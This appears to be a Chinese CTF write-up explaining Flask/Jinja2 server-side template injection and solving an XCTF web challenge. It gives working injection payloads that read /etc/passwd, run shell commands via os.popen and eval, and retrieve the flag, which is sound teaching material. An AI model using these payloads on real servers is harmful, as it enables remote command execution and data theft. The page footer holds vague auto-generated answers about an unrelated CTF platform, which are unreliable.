XCTF-攻防世界CTF平台-Web类——12、Web_python_template_injection(SSTI服务器模板注入、Flask框架之Jinja2模板渲染引擎)

打开题目地址:
在这里插入图片描述

提示python模板注入,和题目的名字:Web_python_template_injection一样,都是让我们利用python模板注入漏洞来获取flag。

模板引擎

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。在Asp下有模板引擎,在PHP下也有模板引擎,在C#下也有,甚至JavaScript、WinForm开发都会用到模板引擎技术。
这里就是用模板引擎可以让php代码和html代码进行分离。

SSTI服务器模板注入

SSTI即(server-side template injection)服务器模板注入。SST服务器模板信任了用户的输入,并且执行这些内容,包括执行本机函数。模板注入的原理也很类似sql注入、xss注入、xml注入、命令注入等,都是通过输入一些指令在后端处理进行了语句的拼接然后执行。就像eval函数对传入的内容未加任何过滤一样。因此模板注入(SSTI)很容易导致远程代码执行(RCE)、信息泄露等漏洞。

python模板注入

python模板注入漏洞的产生在于Flask应用框架中render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,而且Flask模板中使用了Jinja2作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,在渲染的时候将{{}}包裹的内容作为变量解析替换,比如{undefined{1+1}}会被解析成2。

Flask应用框架

Flask是一个使用 Python 编写的轻量级Web应用框架。其WSGI(Web服务器网关接口)工具箱采用 Werkzeug ,模板引擎则使用Jinja2。flask在渲染时主要使用以下两种方法:

render_template
render_template_string

render_template用于渲染html文件,而render_template_string用于渲染html语句,当这个html语句是受用户控制的时候,就会出问题了。

Jinja2模板渲染引擎

Jinja2引擎存在以下三种语法:

控制结构{% %}
变量取值{{ }}
注释{# #}

  jinja2模板中使用{{}}语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等。问题就出在这里,{{}}内的内容,Jinja2渲染时不仅仅只进行填充和替换,还能够执行部分表达式。

例如一段后端使用Flask框架的代码:

from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def test():
    code = request.args.get('id')
    html =%(code)
    return render_template_string(html)

获取用户id之后,直接用render_template_string()函数渲染之后返回前端页面。
当你访问

127.0.0.1:8080/index/?id=1

页面就会显示1
当你访问

127.0.0.1:8080/index/?id={{1+1}}

页面就会显示2

Python中常用于ssti的魔术方法

__class__:返回类型所属的对象
__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__:返回该对象所继承的基类// __base__和__mro__都是用来寻找基类的

__subclasses__:每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__:类的初始化方法
__globals__:对包含函数全局变量的字典的引用
__builtins__:builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块

  所以我们利用服务器模板注入的流程就是:获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块->使用其中的函数。

回到题目
访问:

http://111.200.241.244:58985/{{1+1}}

在这里插入图片描述

成功返回了{{1+1}}的计算结果,说明存在python模板注入漏洞。
先用{{config.items()}}可以查看服务器的配置信息:

http://111.200.241.244:53862/{{config.items()}}

在这里插入图片描述

获取基类的一些方法

[].__class__.__base__
().__class__.__base__
{}.__class__.__base__    
''.__class__.__mro__[2]       //查看第三个基类
[].__class__.__bases__[0]

这5个都是返回该对象所继承的基类,
访问:

http://111.200.241.244:53862/{{().__class__.__base__}}

在这里插入图片描述

''.__class__.__mro__

用来查看所有基类,
访问:

http://111.200.241.244:53862/{{''.__class__.__mro__}}  

在这里插入图片描述

获取基本类的子类

>>> [].__class__.__base__.__subclasses__()

之后可以查看所有基本类的子类:

http://111.200.241.244:53862/{{[].__class__.__base__.__subclasses__()}}

在这里插入图片描述

ssti服务器模板注入的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件的类)加以利用。其中我们可以利用的类有<type ‘file’>等。file一般是第40号,例如利用file类执行读取/etc/passwd文件:

>>> ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

访问:

http://111.200.241.244:53862/{{().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

在这里插入图片描述

得到指定目录下的/etc/passwd文件内容

四种方法读取flag

(1)site._Printer类调用os.popen函数执行任意命令

由于我们想要读取到flag文件里的信息,所以选用 os.popen,首先我们要找到os模块的位置,他是位于<class ‘site._Printer’>里面 ,结果查找在第71个类。
之后通过.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()来调用服务器的控制台并显示。
  我们访问:

http://111.200.241.244:53862/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

在这里插入图片描述

得到本级目录下有文件fl4g和index.py
之后执行cat fl4g查看文件内容即可
访问:

http://111.200.241.244:52490/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

在这里插入图片描述

得到flag:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

(2)site._Printer类调用os.listdir函数执行查看本级目录下的文件

类似的,.__init__.__globals__['os'].listdir('.')函数也可以读取本级目录下的文件:

>>>().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')

访问:

在这里插入图片描述

得到本级目录下有文件fl4g和index.py
之后查看fl4g文件内容即可,除了(1)中的任意命令执行使用catfl4g命令,也可以使用开始的第40号file类执行读取fl4g文件:
访问:

http://111.200.241.244:52490/{{().__class__.__base__.__subclasses__()[40]('fl4g').read()}}

在这里插入图片描述

得到flag:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

(3)catch_warnings类的linecache函数执行任意命令

os模块都是从catch_warnings类入手的,在所有模块中查找catch_warnings类的位置:

http://111.200.241.244:53862/{{[].__class__.__base__.__subclasses__()}}

在这里插入图片描述

为所有继承的基类中的第59个
之后查看catch_warnings类都存在哪些全局函数,可以找到linecache函数,os模块就在其中:

http://111.200.241.244:53862/{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}

在这里插入图片描述

linecache函数在catch_warnings模块的第13个函数,
之后linecache函数通过调用eval函数执行__import__("os").popen("ls").read()命令即可实现任意命令执行。
访问:

http://111.200.241.244:53862/{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )}}

在这里插入图片描述

也同样查看到当前目录下的文件fl4g和index.py
之后我们使用linecache函数调用eval函数执行__import__(“os”).popen(“cat fl4g”).read()命令。
访问:

http://111.200.241.244:52490/{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat fl4g").read()' )}}

在这里插入图片描述

得到flag:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

(4)遍历基类找函数执行__import __(“os”).popen(“ls”).read()命令

直接通过循环遍历逐层找到catch_warnings类,然后找到linecache函数,之后调用eval函数执行('__import__("os").popen("ls").read()'),可以自动寻找相应函数实现任意命令执行:

{% for c in [].__class__.__base__.__subclasses__() %}//在所有继承的基类中
{% if c.__name__ == 'catch_warnings' %}  //先找到catch_warnings类
  {% for b in c.__init__.__globals__.values() %}//在所有catch_warnings类的全局变量函数的字典的引用中  
  {% if b.__class__ == {}.__class__ %}//某个函数的字典的引用的所属类和当前对象所属类相同
    {% if 'eval' in b.keys() %}    //找到eval函数
      {{ b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

访问:

http://111.200.241.244:52490/http://111.200.241.244:52490/{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}  {% for b in c.__init__.__globals__.values() %}    {% if b.__class__ == {}.__class__ %}    {% if 'eval' in b.keys() %}       {{ b['eval']('__import__("os").popen("ls").read()') }}    {% endif %}  {% endif %}  {% endfor %}{% endif %}{% endfor %} 

在这里插入图片描述

之后我们可以继续通过循环遍历逐层找到catch_warnings类,然后找到linecache函数,之后调用eval函数执行('__import__("os").popen("cat fl4g").read()')

{% for c in [].__class__.__base__.__subclasses__() %}//在所有继承的基类中
{% if c.__name__ == 'catch_warnings' %}  //先找到catch_warnings类
  {% for b in c.__init__.__globals__.values() %}//在所有catch_warnings类的全局变量函数的字典的引用中  
  {% if b.__class__ == {}.__class__ %}//某个函数的字典的引用的所属类和当前对象所属类相同
    {% if 'eval' in b.keys() %}    //找到eval函数
      {{ b['eval']('__import__("os").popen("cat fl4g").read()') }}  //导入cmd 执行popen里的命令 read读出数据
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

访问

http://111.200.241.244:52490/http://111.200.241.244:52490/{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}  {% for b in c.__init__.__globals__.values() %}    {% if b.__class__ == {}.__class__ %}    {% if 'eval' in b.keys() %}       {{ b['eval']('__import__("os").popen("cat fl4g").read()') }}    {% endif %}  {% endif %}  {% endfor %}{% endif %}{% endfor %} 

在这里插入图片描述

得到flag:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

  • 4
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: pure_color xctf是一个CTF比赛平台,致力于举办和推广网络安全竞赛。 pure_color xctf的目标是为安全爱好者和专业人士提供一个学习、切磋和交流的平台。这个平台上举办的比赛覆盖了各种网络安全领域,包括但不限于网络攻防、密码学、逆向工程等。通过参与这些比赛,参赛者可以提升自己的技能,了解最新的安全威胁和攻击技术,锻炼解决问题的能力。 pure_color xctf的比赛模式多样,可以是个人或团队参与。参赛者需要在限定的时间内完成一系列的题目,这些题目可能包含漏洞分析、编程挑战、数据分析等。比赛过程中,参赛者需要运用各种技术手段,如渗透测试、代码审计、漏洞利用等,解决题目的要求。参赛者不仅需要具备网络安全相关的知识,还需要具备良好的团队合作和解决问题的能力。 此外,pure_color xctf也为参赛者提供了一个交流平台。比赛期间,参赛者可以在平台上与其他选手交流经验、讨论解题思路。参赛者也可以通过竞赛结果来评估自己的能力,并与其他选手进行切磋比拼。 总之,pure_color xctf是一个举办网络安全竞赛的平台,旨在为安全爱好者和专业人士提供学习和交流的机会,促进网络安全技术的发展。 ### 回答2: pure_color xctf 是一项竞技性的网络安全挑战赛。XCCTF 是全球知名的网络安全竞赛组织之一,而 pure_color 是该竞赛组织内的一项赛事。该赛事旨在提升参赛者的网络安全技能和知识,让他们在一个仿真的网络环境中进行攻防对抗。 在 pure_color xctf 中,参赛队伍将根据题目要求进行网络攻击和防御。这些题目有不同的难度级别,并涵盖了各种不同的网络安全技术和攻击型。参赛队伍将需要利用他们的知识和技能,像真实的黑客一样去攻击系统漏洞,获取目标系统内的敏感信息或是直接控制目标系统。同时,他们也需要通过搭建防御策略和系统来保护自己的系统免受攻击。 pure_color xctf 不仅仅是一个交流学习的平台,也是一个展示能力的舞台。优胜的参赛队伍将会被邀请参加更高级别的网络安全竞赛和会议,进一步提升他们的技能并扩展职业网络。此外,pure_color xctf 也为参赛者提供了一个找到职业机会的平台,很多安全公司和组织会在赛事期间招聘优秀的选手。 总而言之,pure_color xctf 是一个有挑战性的网络安全竞赛,旨在通过攻击和防御对抗提升参赛者的技能,并为他们提供职业发展和展示的机会。同时,这个赛事也在促进网络安全领域的交流和合作,为提升整个网络安全行业的水平做出贡献。 ### 回答3: pure_color xctf 是一个CTF(Capture The Flag,夺旗赛)竞赛平台CTF是一种网络安全竞赛,旨在让参赛者通过解决一系列的密码学、逆向工程、漏洞利用等问题来获取旗标,比赛者可以通过这些旗标来获取积分并竞争排名。 pure_color xctf 平台是一个为CTF竞赛提供的一个在线环境,似于一个实验室,用于举办CTF比赛。在这个平台上,参赛者可以注册账号并加入已经发布的CTF赛事中。赛事中的题目被分为不同的难度级别,涵盖了各种安全领域的知识。参赛者需要通过解决题目中的任务来获取旗标,并将其提交到平台上进行验证。在比赛结束后,将根据参赛者解决的题目数量、用时、积分等因素来计算最终排名,并颁发奖励给获胜者。 pure_color xctf 提供了逼真的仿真环境,使得参赛者能够在一个安全的网络环境下进行实时的攻防演练。平台上的题目多样化且具有挑战性,旨在让参赛者将所学的理论知识应用到实际场景中去,并培养解决问题和团队合作的能力。同时,pure_color xctf 还为参赛者提供了交流平台,方便他们在比赛过程中与其他参赛者交流经验、技巧以及解题思路。 总之,pure_color xctf 是一个提供CTF竞赛平台的在线环境,旨在鼓励参赛者在安全领域中深入学习和实践,并通过解决各种挑战赛题目来提升技能和知识水平。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值